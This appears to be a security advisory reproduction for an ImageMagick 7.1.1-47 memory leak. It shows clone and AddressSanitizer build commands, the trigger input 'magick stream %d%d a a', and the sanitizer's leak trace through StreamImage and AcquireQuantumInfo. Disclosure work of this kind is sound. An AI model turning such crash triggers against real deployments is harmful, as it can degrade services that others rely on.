GHSA-cfh4-9f7v-fhrc

# Clone source git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1 cd ImageMagick-7.1.1 # Build with ASan CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install # Trigger crash ./utilities/magick stream %d%d a a

$ magick stream %d%d a a stream: no decode delegate for this image format `' @ error/constitute.c/ReadImage/746. stream: missing an image filename `a' @ error/stream.c/StreamImageCommand/755. ================================================================= ==114==ERROR: LeakSanitizer: detected memory leaks Direct leak of 152 byte(s) in 1 object(s) allocated from: #0 0x7fc4ebe58887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x7fc4eb563c5c in AcquireMagickMemory MagickCore/memory.c:559 #2 0x7fc4eb563c82 in AcquireCriticalMemory MagickCore/memory.c:635 #3 0x7fc4eb60c2be in AcquireQuantumInfo MagickCore/quantum.c:119 #4 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335 #5 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292 #6 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177 #7 0x55a34f7c0a0c in MagickMain utilities/magick.c:153 #8 0x55a34f7c0cba in main utilities/magick.c:184 #9 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x7fc4ebe5957c in __interceptor_posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:226 #1 0x7fc4eb680e2f in AcquireSemaphoreMemory MagickCore/semaphore.c:154 #2 0x7fc4eb680f30 in AcquireSemaphoreInfo MagickCore/semaphore.c:200 #3 0x7fc4eb60d38d in GetQuantumInfo MagickCore/quantum.c:435 #4 0x7fc4eb60c30e in AcquireQuantumInfo MagickCore/quantum.c:121 #5 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335 #6 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292 #7 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x55a34f7c0a0c in MagickMain utilities/magick.c:153 #9 0x55a34f7c0cba in main utilities/magick.c:184 #10 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 SUMMARY: AddressSanitizer: 216 byte(s) leaked in 2 allocation(s).